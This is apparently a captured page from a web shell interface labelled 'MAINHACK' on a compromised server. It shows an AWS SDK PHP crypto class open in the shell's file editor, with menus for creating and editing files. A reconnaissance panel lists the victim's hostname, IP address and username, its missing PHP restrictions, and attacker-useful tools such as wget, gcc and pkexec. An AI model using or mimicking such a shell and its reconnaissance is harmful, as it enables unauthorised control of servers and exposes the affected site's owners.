[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: AbstractCryptoClient.php
<?php namespace Aws\Crypto; use Aws\Crypto\Cipher\CipherMethod; use Aws\Crypto\Cipher\Cbc; use GuzzleHttp\Psr7\Stream; /** * Legacy abstract encryption client. New workflows should use * AbstractCryptoClientV2. * * @deprecated * @internal */ abstract class AbstractCryptoClient { public static $supportedCiphers = ['cbc', 'gcm']; public static $supportedKeyWraps = [ KmsMaterialsProvider::WRAP_ALGORITHM_NAME ]; /** * Returns if the passed cipher name is supported for encryption by the SDK. * * @param string $cipherName The name of a cipher to verify is registered. * * @return bool If the cipher passed is in our supported list. */ public static function isSupportedCipher($cipherName) { return in_array($cipherName, self::$supportedCiphers); } /** * Returns an identifier recognizable by `openssl_*` functions, such as * `aes-256-cbc` or `aes-128-ctr`. * * @param string $cipherName Name of the cipher being used for encrypting * or decrypting. * @param int $keySize Size of the encryption key, in bits, that will be * used. * * @return string */ abstract protected function getCipherOpenSslName($cipherName, $keySize); /** * Constructs a CipherMethod for the given name, initialized with the other * data passed for use in encrypting or decrypting. * * @param string $cipherName Name of the cipher to generate for encrypting. * @param string $iv Base Initialization Vector for the cipher. * @param int $keySize Size of the encryption key, in bits, that will be * used. * * @return CipherMethod * * @internal */ abstract protected function buildCipherMethod($cipherName, $iv, $keySize); /** * Performs a reverse lookup to get the openssl_* cipher name from the * AESName passed in from the MetadataEnvelope. * * @param $aesName * * @return string * * @internal */ abstract protected function getCipherFromAesName($aesName); /** * Dependency to provide an interface for building an encryption stream for * data given cipher details, metadata, and materials to do so. * * @param Stream $plaintext Plain-text data to be encrypted using the * materials, algorithm, and data provided. * @param array $cipherOptions Options for use in determining the cipher to * be used for encrypting data. * @param MaterialsProvider $provider A provider to supply and encrypt * materials used in encryption. * @param MetadataEnvelope $envelope A storage envelope for encryption * metadata to be added to. * * @return AesStreamInterface * * @internal */ abstract public function encrypt( Stream $plaintext, array $cipherOptions, MaterialsProvider $provider, MetadataEnvelope $envelope ); /** * Dependency to provide an interface for building a decryption stream for * cipher text given metadata and materials to do so. * * @param string $cipherText Plain-text data to be decrypted using the * materials, algorithm, and data provided. * @param MaterialsProviderInterface $provider A provider to supply and encrypt * materials used in encryption. * @param MetadataEnvelope $envelope A storage envelope for encryption * metadata to be read from. * @param array $cipherOptions Additional verification options. * * @return AesStreamInterface * * @internal */ abstract public function decrypt( $cipherText, MaterialsProviderInterface $provider, MetadataEnvelope $envelope, array $cipherOptions = [] ); }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.73 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002